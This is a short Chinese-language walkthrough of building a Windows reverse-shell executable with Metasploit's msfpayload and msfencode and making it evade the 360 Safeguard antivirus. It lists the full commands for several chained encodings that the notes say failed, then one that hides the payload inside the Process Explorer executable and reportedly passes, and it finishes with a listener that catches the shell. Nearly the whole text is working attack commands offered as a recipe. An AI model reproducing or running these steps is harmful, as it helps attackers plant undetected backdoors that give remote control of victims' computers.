msfpayload windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R |msfencode -e x86/shikata_ga_nai -t exe >~/Desktop/lost1.exe
shikata_ga_nai编码
未能逃过360安全卫士查杀
msfpayload windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R |msfencode -e x86/shikata_ga_nai -c 5 -t exe > ~/Desktop/lost2.exe
以shikata_ga_nai 进行5次编码
依旧未能逃避360安全卫士查杀
msfpayload windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R |msfencode -e x86/shikata_ga_nai -c 5 -t raw |msfencode -e x86/alpha_upper -c 2 -t raw |msfencode -e x86/shikata_ga_nai -c 5 -t raw|msfencode -e x86/countdown -c 5 -t raw|msfencode -e x86/fnstenv_mov -t raw |msfencode -e x86/fnstenv_mov -c 5 -t exe> ~/Desktop/lost6.exe
尝试多种并多次编码依旧未能对其进行免杀
默认模板文件位于/data/templates/template.exe虽然这个模板会时有更新,
但它永远是杀毒软件厂商在创建病毒库时的重点关注对象。实际上,当前版本的msfencode支持使用-x选项使用任意的windows可执行程序来代替默认模板文件
msfpayload windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R |msfencode -t exe -x ~/Desktop/procexp.exe -o ~/Desktop/pe_lost.exe -e
将process explorer 程序作为自定义的可执行程序模板 绕过360安全卫士的检测
下面看看其能否正常执行
msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=4444 E 通过msfcli启动multi/handler模块 进行监听
发现执行成功!